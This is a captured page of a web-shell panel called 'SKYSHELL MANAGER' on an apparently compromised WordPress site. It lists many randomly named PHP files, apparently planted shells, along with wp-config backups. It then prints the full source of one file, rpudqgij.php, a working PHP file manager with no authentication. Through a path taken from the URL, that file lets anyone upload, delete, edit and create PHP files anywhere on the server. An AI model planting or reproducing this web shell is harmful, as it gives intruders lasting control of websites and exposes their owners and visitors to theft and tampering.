📁
SKYSHELL MANAGER
PHP v8.0.30
Create
Create
Path:
root
/
home
/
aljabrcp
/
public_html
/
Name
Size
Perm
Actions
📁
.render-cache
-
0755
🗑️
🏷️
🔒
📁
.tmb
-
0777
🗑️
🏷️
🔒
📁
.well-known
-
0755
🗑️
🏷️
🔒
📁
e4b5c3
-
0755
🗑️
🏷️
🔒
📁
well-known
-
0755
🗑️
🏷️
🔒
📁
wp-admin
-
0755
🗑️
🏷️
🔒
📁
wp-content
-
0755
🗑️
🏷️
🔒
📁
wp-includes
-
0755
🗑️
🏷️
🔒
📄
.072335799904244.php
0.73 KB
0777
🗑️
🏷️
⬇️
✏️
🔒
📄
.303133550574645.php
0.73 KB
0777
🗑️
🏷️
⬇️
✏️
🔒
📄
.771565434277360.php
0.72 KB
0777
🗑️
🏷️
⬇️
✏️
🔒
📄
.ftpquota
0.02 KB
0777
🗑️
🏷️
⬇️
✏️
🔒
📄
.htaccess
0.06 KB
0777
🗑️
🏷️
⬇️
✏️
🔒
📄
.htaccess_old
2.38 KB
0777
🗑️
🏷️
⬇️
✏️
🔒
📄
.maintenance
0.03 KB
0777
🗑️
🏷️
⬇️
✏️
🔒
📄
.render-orig.php
0.4 KB
0777
🗑️
🏷️
⬇️
✏️
🔒
📄
admin.php
1073.33 KB
0777
🗑️
🏷️
⬇️
✏️
🔒
📄
ajyycson.php
18.36 KB
0777
🗑️
🏷️
⬇️
✏️
🔒
📄
bjspsdnw.php
18.36 KB
0777
🗑️
🏷️
⬇️
✏️
🔒
📄
btxouxnz.php
18.36 KB
0777
🗑️
🏷️
⬇️
✏️
🔒
📄
byobdpit.php
161.75 KB
0777
🗑️
🏷️
⬇️
✏️
🔒
📄
dot.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
dtypulkn.php
18.48 KB
0777
🗑️
🏷️
⬇️
✏️
🔒
📄
error_log
1.32 KB
0777
🗑️
🏷️
⬇️
✏️
🔒
📄
fdkvhqgp.php
18.36 KB
0777
🗑️
🏷️
⬇️
✏️
🔒
📄
features.php
9.84 KB
0777
🗑️
🏷️
⬇️
✏️
🔒
📄
fiouvmwk.php
18.51 KB
0777
🗑️
🏷️
⬇️
✏️
🔒
📄
gkliwelb.php
19.47 KB
0777
🗑️
🏷️
⬇️
✏️
🔒
📄
hhxpypnm.php
18.48 KB
0777
🗑️
🏷️
⬇️
✏️
🔒
📄
ichqcdtz.php
18.48 KB
0777
🗑️
🏷️
⬇️
✏️
🔒
📄
iggrnuqs.php
1073.33 KB
0777
🗑️
🏷️
⬇️
✏️
🔒
📄
ijigqafs.php
215.7 KB
0777
🗑️
🏷️
⬇️
✏️
🔒
📄
ilkifkhe.php
18.48 KB
0777
🗑️
🏷️
⬇️
✏️
🔒
📄
index.php
0.08 KB
0777
🗑️
🏷️
⬇️
✏️
🔒
📄
japeqpqk.php
18.55 KB
0777
🗑️
🏷️
⬇️
✏️
🔒
📄
kxkjgars.php
14.76 KB
0777
🗑️
🏷️
⬇️
✏️
🔒
📄
legcmbtx.php
161.75 KB
0777
🗑️
🏷️
⬇️
✏️
🔒
📄
license.txt
19.44 KB
0777
🗑️
🏷️
⬇️
✏️
🔒
📄
lufix.php
53.27 KB
0777
🗑️
🏷️
⬇️
✏️
🔒
📄
mdlyonrh.php
161.75 KB
0777
🗑️
🏷️
⬇️
✏️
🔒
📄
memkgrwi.php
18.55 KB
0777
🗑️
🏷️
⬇️
✏️
🔒
📄
min.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
mlqeheok.php
35.6 KB
0777
🗑️
🏷️
⬇️
✏️
🔒
📄
mmkegijm.php
18.5 KB
0777
🗑️
🏷️
⬇️
✏️
🔒
📄
mqbfmtzr.php
14.76 KB
0777
🗑️
🏷️
⬇️
✏️
🔒
📄
nkuxvifp.php
18.56 KB
0777
🗑️
🏷️
⬇️
✏️
🔒
📄
ocngdtip.php
18.55 KB
0777
🗑️
🏷️
⬇️
✏️
🔒
📄
ops.php
31 KB
0777
🗑️
🏷️
⬇️
✏️
🔒
📄
options.php
1.29 KB
0777
🗑️
🏷️
⬇️
✏️
🔒
📄
php.ini
0.1 KB
0777
🗑️
🏷️
⬇️
✏️
🔒
📄
pjqgidra.php
19.54 KB
0777
🗑️
🏷️
⬇️
✏️
🔒
📄
qpggioxw.php
14.76 KB
0777
🗑️
🏷️
⬇️
✏️
🔒
📄
readme.html
7.23 KB
0777
🗑️
🏷️
⬇️
✏️
🔒
📄
robots.txt
0.35 KB
0777
🗑️
🏷️
⬇️
✏️
🔒
📄
rpudqgij.php
15.4 KB
0777
🗑️
🏷️
⬇️
✏️
🔒
📄
tvuydrna.php
18.36 KB
0777
🗑️
🏷️
⬇️
✏️
🔒
📄
uymbqzzs.php
215.7 KB
0777
🗑️
🏷️
⬇️
✏️
🔒
📄
vxbezeuh.php
15.4 KB
0777
🗑️
🏷️
⬇️
✏️
🔒
📄
vxeskmxs.php
19.54 KB
0777
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-activate.php
7.2 KB
0777
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-blog-header.php
0.34 KB
0777
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-comments-post.php
2.27 KB
0777
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-config-sample.php
3.26 KB
0777
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-config.php
3.31 KB
0777
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-config.php.bak
3.31 KB
0777
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-config.php.before-debug
3.31 KB
0777
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-config.php.before-debug.2026-06-26-151429
3.31 KB
0777
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-config.php.before-debug.2026-06-26-151542
3.26 KB
0777
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-config.php.broken.2026-06-26-152109
3.27 KB
0777
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-config.php.broken.2026-06-26-152153
3.27 KB
0777
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-config.php.broken.2026-06-26-152623
3.27 KB
0777
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-cron.php
5.49 KB
0777
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-links-opml.php
2.43 KB
0777
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-load.php
3.84 KB
0777
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-mail.php
8.52 KB
0777
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-server.php
162 KB
0777
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-settings.php
31.88 KB
0777
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-signup.php
33.81 KB
0777
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-trackback.php
5.09 KB
0777
🗑️
🏷️
⬇️
✏️
🔒
📄
wpxml.php
12.37 KB
0777
🗑️
🏷️
⬇️
✏️
🔒
📄
xmlrpc.php
3.13 KB
0777
🗑️
🏷️
⬇️
✏️
🔒
📄
xyn.php
5.65 KB
0777
🗑️
🏷️
⬇️
✏️
🔒
📄
ydrqjvyq.php
18.51 KB
0777
🗑️
🏷️
⬇️
✏️
🔒
📄
zwmxmsbj.php
215.7 KB
0777
🗑️
🏷️
⬇️
✏️
🔒
Edit: rpudqgij.php
<?php // Simple PHP File Manager // Path to manage $path = isset($_GET['path']) ? $_GET['path'] : '.'; // Normalize and secure the path $path = realpath($path); // Helper function to get the size of a directory function getDirectorySize($path) { $bytestotal = 0; if($path !== false && $path != '' && file_exists($path)){ foreach(new RecursiveIteratorIterator(new RecursiveDirectoryIterator($path, FilesystemIterator::SKIP_DOTS)) as $object){ $bytestotal += $object->getSize(); } } return $bytestotal; } // Handle file upload if(isset($_FILES['file'])){ $upload_path = $path . '/' . basename($_FILES['file']['name']); if(move_uploaded_file($_FILES['file']['tmp_name'], $upload_path)){ echo "<script>alert('File uploaded successfully!');</script>"; } else { echo "<script>alert('File upload failed!');</script>"; } } // Handle file deletion if(isset($_GET['delete'])){ $delete_file = basename($_GET['delete']); // Secure filename $delete_path = realpath($path . '/' . $delete_file); if(is_file($delete_path)){ unlink($delete_path); echo "<script>alert('File deleted successfully!'); window.location.href='?path=" . urlencode($path) . "';</script>"; } elseif(is_dir($delete_path)){ rmdir($delete_path); echo "<script>alert('Directory deleted successfully!'); window.location.href='?path=" . urlencode($path) . "';</script>"; } else { echo "<script>alert('Deletion failed!');</script>"; } } // Handle file editing (saving changes) if(isset($_POST['save']) && isset($_POST['content']) && isset($_POST['edit_file'])){ $edit_file = basename($_POST['edit_file']); // Secure filename $edit_path = realpath($path . '/' . $edit_file); if($edit_path && is_file($edit_path)) { file_put_contents($edit_path, $_POST['content']); echo "<script>alert('File saved successfully!'); window.location.href='?path=" . urlencode($path) . "';</script>"; } else { echo "<script>alert('Error saving file!');</script>"; } } // Handle new PHP file creation if(isset($_POST['create']) && isset($_POST['filename'])){ $filename = preg_replace('/[^a-zA-Z0-9_\-]/', '', $_POST['filename']); // Secure filename $new_file_path = $path . '/' . $filename . '.php'; if(!file_exists($new_file_path)){ file_put_contents($new_file_path, "<?php\n\n// New PHP File\n\n?>"); echo "<script>alert('PHP file created successfully!'); window.location.href='?path=" . urlencode($path) . "';</script>"; } else { echo "<script>alert('File already exists!');</script>"; } } // List files and directories $files = scandir($path); $path_parts = explode(DIRECTORY_SEPARATOR, $path); ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>File Manager</title> <style> body { font-family: Arial, sans-serif; background-color: #f0f0f0; color: #333; margin: 0; padding: 20px; } .file-manager { max-width: 900px; margin: 0 auto; background: #fff; padding: 20px; box-shadow: 0 0 10px rgba(0,0,0,0.1); position: relative; } .file-manager h1 { margin-top: 0; color: #007bff; } .path { margin: 10px 0; } .path a { color: #007bff; text-decoration: none; } .path a:hover { text-decoration: underline; } table { width: 100%; border-collapse: collapse; margin-top: 20px; font-size: 14px; } th, td { padding: 10px; border: 1px solid #ddd; text-align: left; } th { background-color: #f8f9fa; } td a { color: #007bff; text-decoration: none; } td a:hover { text-decoration: underline; } .editor { margin-top: 20px; } .editor textarea { width: 100%; height: 300px; padding: 10px; border: 1px solid #ddd; border-radius: 4px; font-family: monospace; } .upload-form input[type="text"], .upload-form input[type="file"] { margin-right: 10px; padding: 5px; } .upload-form input[type="submit"] { padding: 5px 15px; border: none; background-color: #28a745; color: #fff; cursor: pointer; border-radius: 4px; } .upload-form input[type="submit"]:hover { background-color: #218838; } .recent { background: #ffeeba; } .suspect { background: #f8d7da; } .snippet { font-family: monospace; font-size: 12px; color: #555; background: #f6f6f6; padding: 4px; border-radius: 4px; display: block; margin-top: 3px; } .action-buttons input[type="submit"] { min-width: 120px; } </style> </head> <body> <div class="file-manager"> <h1>File Manager</h1> <!-- Display Path --> <div class="path"> <?php foreach($path_parts as $key => $part): ?> <?php $current_path = implode(DIRECTORY_SEPARATOR, array_slice($path_parts, 0, $key + 1)); ?> <a href="?path=<?php echo urlencode($current_path); ?>"><?php echo htmlspecialchars($part); ?></a> <?php if($key < count($path_parts) - 1): ?> > <?php endif; ?> <?php endforeach; ?> </div> <!-- Upload Form --> <form action="" method="post" enctype="multipart/form-data" class="upload-form"> <input type="file" name="file"> <input type="submit" value="Upload"> </form> <!-- New PHP File Creation Form --> <form action="" method="post" class="upload-form"> <input type="text" name="filename" placeholder="Enter file name" required> <input type="submit" name="create" value="Create PHP File"> </form> <!-- Check Plugins and Themes Button --> <form action="" method="post" style="margin-top: 20px; display:inline-block;"> <input type="submit" name="check_wp" value="Check" style="padding: 5px 15px; border: none; background-color: #17a2b8; color: #fff; cursor: pointer; border-radius: 4px;"> </form> <!-- Security Check Button --> <form action="" method="post" style="margin-top: 20px; display:inline-block;"> <input type="submit" name="security_check" value="Security Check" style="padding: 5px 15px; border: none; background-color: #dc3545; color: #fff; cursor: pointer; border-radius: 4px; margin-left:10px;"> </form> <?php if (isset($_POST['check_wp'])) { // Function to find wp-content directory upwards function find_wp_content($start) { $dir = $start; while ($dir !== dirname($dir)) { if (is_dir($dir . '/wp-content')) { return realpath($dir . '/wp-content'); } $dir = dirname($dir); } return false; } $wp_content_path = find_wp_content($path); $found = false; echo '<div style="margin-top:20px;padding:15px;background:#f8f9fa;border:1px solid #ccc;border-radius:5px;">'; if ($wp_content_path) { // Plugins $wp_plugins_path = $wp_content_path . '/plugins'; if (is_dir($wp_plugins_path)) { echo "<strong>Plugins:</strong><br>"; $plugins = array_diff(scandir($wp_plugins_path), ['.','..']); $plugin_names = []; foreach ($plugins as $plugin_folder) { $plugin_dir = $wp_plugins_path . '/' . $plugin_folder; if (is_dir($plugin_dir)) { // Main plugin file: folder-name.php or first .php file $main_plugin_file = $plugin_dir . '/' . $plugin_folder . '.php'; if (!is_file($main_plugin_file)) { $php_files = glob($plugin_dir . '/*.php'); $main_plugin_file = $php_files ? $php_files[0] : false; } if ($main_plugin_file && is_file($main_plugin_file)) { $data = file_get_contents($main_plugin_file, false, null, 0, 8192); if (preg_match('/Plugin Name:\s*(.+)/i', $data, $name) && preg_match('/Version:\s*([^\s]+)/i', $data, $version)) { $plugin_name = htmlspecialchars(trim($name[1])); $plugin_version = htmlspecialchars(trim($version[1])); // Avoid duplicates $key = $plugin_name . $plugin_version; if (!isset($plugin_names[$key])) { echo $plugin_name . ' <small>(v' . $plugin_version . ')</small><br>'; $plugin_names[$key] = true; } } } } } if (empty($plugin_names)) echo '<em>No plugins found.</em><br>'; $found = true; } // Themes $wp_themes_path = $wp_content_path . '/themes'; if (is_dir($wp_themes_path)) { echo "<br><strong>Themes:</strong><br>"; $themes = array_diff(scandir($wp_themes_path), ['.','..']); $theme_names = []; foreach ($themes as $theme_folder) { $theme_dir = $wp_themes_path . '/' . $theme_folder; $style_css = $theme_dir . '/style.css'; if (is_dir($theme_dir) && is_file($style_css)) { $data = file_get_contents($style_css, false, null, 0, 8192); if (preg_match('/Theme Name:\s*(.+)/i', $data, $name) && preg_match('/Version:\s*([^\s]+)/i', $data, $version)) { $theme_name = htmlspecialchars(trim($name[1])); $theme_version = htmlspecialchars(trim($version[1])); // Avoid duplicates $key = $theme_name . $theme_version; if (!isset($theme_names[$key])) { echo $theme_name . ' <small>(v' . $theme_version . ')</small><br>'; $theme_names[$key] = true; } } } } if (empty($theme_names)) echo '<em>No themes found.</em><br>'; $found = true; } } if (!$found) { echo 'No WordPress installation detected (no wp-content directory found upwards from here).'; } echo '</div>'; } // SECURITY CHECK BUTTON FUNCTIONALITY if (isset($_POST['security_check'])) { echo '<div style="margin-top:20px;padding:15px;background:#fff3cd;border:1px solid #ffeeba;border-radius:5px;">'; echo '<strong>Security Check: PHP File Audit</strong><br><br>'; echo '<table><tr><th>File</th><th>Last Modified</th><th>Size</th><th>Snippet</th></tr>'; // Scan recursively for PHP files $root = dirname(__FILE__); // scan from the script's directory $now = time(); $recent_days = 7; // highlight files modified in the last 7 days $suspect_dirs = ['uploads', 'cache', 'backup', 'tmp', 'temp']; $rii = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($root, FilesystemIterator::SKIP_DOTS)); foreach ($rii as $file) { if (!$file->isFile()) continue; $filename = $file->getFilename(); $filepath = $file->getPathname(); if (strtolower(substr($filename, -4)) === '.php') { $mtime = $file->getMTime(); $filesize = $file->getSize(); $is_recent = ($now - $mtime < 3600 * 24 * $recent_days); $is_suspect = false; foreach ($suspect_dirs as $dir) { if (stripos($filepath, DIRECTORY_SEPARATOR . $dir . DIRECTORY_SEPARATOR) !== false) { $is_suspect = true; break; } } $row_class = $is_suspect ? 'suspect' : ($is_recent ? 'recent' : ''); echo '<tr class="'.$row_class.'">'; echo '<td>' . htmlspecialchars(str_replace($root . DIRECTORY_SEPARATOR, '', $filepath)) . ($is_suspect ? ' <b style="color:#c00;">[SUSPECT]</b>' : '') . '</td>'; echo '<td>' . date('Y-m-d H:i:s', $mtime) . ($is_recent ? ' <b style="color:#b58900;">[RECENT]</b>' : '') . '</td>'; echo '<td>' . number_format($filesize) . ' bytes</td>'; // Show snippet $snippet = ''; $handle = fopen($filepath, "r"); if ($handle) { for ($i = 0; $i < 5; $i++) { $line = fgets($handle, 4096); if ($line === false) break; $snippet .= htmlspecialchars($line); } fclose($handle); } echo '<td><span class="snippet">' . nl2br($snippet) . '</span></td>'; echo '</tr>'; } } echo '</table>'; echo '<br><em>Files highlighted as <b>[RECENT]</b> were modified in the last '.$recent_days.' days.<br>Files marked <b>[SUSPECT]</b> are in uploads/cache/backup/tmp/temp folders (unusual for PHP files).</em>'; echo '</div>'; } ?> <!-- Files Table --> <table> <tr> <th>Name</th> <th>Size</th> <th>Actions</th> </tr> <?php foreach($files as $file): ?> <?php if($file == '.' || $file == '..') continue; ?> <tr> <td> <?php if(is_dir($path . '/' . $file)): ?> <a href="?path=<?php echo urlencode($path . '/' . $file); ?>"><?php echo $file; ?></a> <?php else: ?> <?php echo $file; ?> <?php endif; ?> </td> <td><?php echo is_dir($path . '/' . $file) ? getDirectorySize($path . '/' . $file) . ' bytes' : filesize($path . '/' . $file) . ' bytes'; ?></td> <td> <a href="?path=<?php echo urlencode($path); ?>&delete=<?php echo urlencode($file); ?>" onclick="return confirm('Delete this file?');">Delete</a> <?php if(is_file($path . '/' . $file)): ?> <a href="?path=<?php echo urlencode($path); ?>&edit=<?php echo urlencode($file); ?>">Edit</a> <?php endif; ?> </td> </tr> <?php endforeach; ?> </table> <!-- File Editor --> <?php if(isset($_GET['edit'])) { $edit_file = basename($_GET['edit']); $edit_path = realpath($path . '/' . $edit_file); if($edit_path && is_file($edit_path)) { $content = file_get_contents($edit_path); ?> <div class="editor"> <h2>Edit File: <?php echo htmlspecialchars($edit_file); ?></h2> <form action="" method="post"> <textarea name="content"><?php echo htmlspecialchars($content); ?></textarea><br> <input type="hidden" name="edit_file" value="<?php echo htmlspecialchars($edit_file); ?>"> <input type="submit" name="save" value="Save"> </form> </div> <?php }} ?> </div> </body> </html>
Save